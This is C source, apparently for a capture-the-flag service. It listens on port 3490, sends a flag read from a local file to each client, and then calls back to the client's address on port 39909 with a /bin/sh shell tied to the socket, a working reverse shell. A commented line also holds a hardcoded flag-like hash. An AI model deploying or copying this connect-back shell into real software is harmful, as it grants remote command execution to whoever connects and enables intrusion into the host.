#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>

#define MYPORT 3490	// listening port
#define BACKLOG 10	// how many pending connections queue will hold


void sigchld_handler(int s)
{
	while(wait(NULL) > 0);
}

int main(void)
{
	int sockfd, new_fd;  // listen on sock_fd, new connection on new_fd
    struct sockaddr_in my_addr;    // my address information
   	struct sockaddr_in their_addr; // connector's address information
    int sin_size;
    struct sigaction sa;
    int yes=1;

	FILE *fp;  			// pointer to flag file
	char flagstr[33]; 	// array to hold flag


	if ((fp = fopen("/home/server01/flag.txt", "r")) == NULL) {
		printf("Cannot open flag file\n");
		exit(1);
	} else {
		fgets(flagstr, 33, fp);
	}
	fclose(fp);


	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    	perror("socket");
        exit(1);
	}

   	if (setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int)) == -1) {
		perror("setsockopt");
       	exit(1);
   	}
        
   	my_addr.sin_family = AF_INET;         // host byte order
   	my_addr.sin_port = htons(MYPORT);     // short, network byte order
	my_addr.sin_addr.s_addr = INADDR_ANY; // automatically fill with my IP
    memset(&(my_addr.sin_zero), '\0', 8); // zero the rest of the struct

	if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) 
					== -1) {
		perror("bind");
        exit(1);
	}

	if (listen(sockfd, BACKLOG) == -1) {
		perror("listen");
        exit(1);
	}

	sa.sa_handler = sigchld_handler; // reap all dead processes
	sigemptyset(&sa.sa_mask);
   	sa.sa_flags = SA_RESTART;

    if (sigaction(SIGCHLD, &sa, NULL) == -1) {
		perror("sigaction");
        exit(1);
	}

	while(1) {  // main accept() loop
		sin_size = sizeof(struct sockaddr_in);
        if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr,
                                                           &sin_size)) == -1) {
        	perror("accept");
            continue;
		}
		/*
        printf("server: got connection from %s\n", inet_ntoa(their_addr.sin_addr));
		*/
		/*
		if (connectback(their_addr) == 1);
			perror("connectback");
		*/
        if (!fork()) { 
			close(sockfd); // child doesn't need the listener
			//if (send(new_fd, "959121f8fddb68a2eb7fbcf730260973\n", 33, 0) == -1)
			//if (send(new_fd, flagstr, 33, 0) == -1)
            //	perror("send");
			send(new_fd, flagstr, strlen(flagstr), 0) ;
			send(new_fd, "\r\n\r\n", strlen("\r\n\r\n"), 0) ;
			if (connectback(their_addr) == 1);
				perror("connectback");
            close(new_fd);
            exit(0);
		}
       	close(new_fd);  // parent doesn't need this
	}
	return 0;
} 

int connectback(struct sockaddr_in their_addr) {

	int sock, c;
	char *shell = "/bin/sh";

	/* connect back to this port */
	their_addr.sin_port = htons(39909);
	memset(&their_addr.sin_zero, 0, 8);

	 if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)) < 0) {
        perror("Cannot create socket");
        exit(1);
    }
    if ((c = connect(sock,(struct sockaddr *)&their_addr, sizeof(their_addr))) < 0) {
        perror("Connection failed");
        exit(1);
    }
	/* the below is to duplicate STDIN, STDOUT & STDERR */
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);

    execve(shell, &shell, NULL);

	return 0;	
}
